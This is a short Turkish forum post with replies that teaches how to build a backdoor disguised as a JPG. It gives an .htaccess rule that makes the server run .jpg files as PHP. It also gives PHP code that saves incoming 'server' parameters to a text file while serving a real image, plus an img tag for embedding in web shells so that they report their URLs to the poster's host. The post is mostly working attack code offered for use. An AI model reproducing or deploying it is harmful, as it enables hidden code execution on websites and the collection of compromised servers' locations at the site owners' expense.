Etkili bir Backdoor yapımı JPG ile

Not: Bu makalede anlatılanlar her sunucuda çalışmaz !

Yabancı bir sitede ingilizce anlatımını gördüm, bunun ben zaten kafada mantıken biliyordum ancak hiç uygulayacak ihtiyacım olmamıştı. Sizler için anlaşılabilir şekilde türkçeleştirdim.

.htaccess (htaccess kullanarak jpg yi php gibi çalıştıracağız.)

AddType application/x-httpd-php .jpg

resim.jpg (Aşağıdaki php kodunu resim.jpg olarak kayıt edin ve hostunuza bunuda yükleyin)

<?php
function writeto($filen,$content){$file = fopen($filen,"w");fwrite($file,$content);fclose($file);}
if(!empty($_GET["server"])){if(!file_exists('server.txt')){writeto('server.txt',"Backdoors imhatimi : \n");}$handle = fopen('server.txt', "r");$contents = fread($handle, filesize('server.txt'));fclose($handle);writeto("server.txt",$contents . "\n" . $_GET["server"]);}
header('Content-Type: image/jpeg');header('Content-Length: ' . filesize('6.jpg'));readfile('6.jpg');
exit();
?>

Sonrada aşağıdaki koddaki gibi istediğin shellin içine include et (imhatimi.org)

<img scr="http://siten.com/img/resim.jpg?server=<?php echo $_SERVER['REQUEST_URI'];?>">

 

nedense bu konu tanıdık geldi

 

sanada geldimi @Mectury

 

geldü geldü @sonadam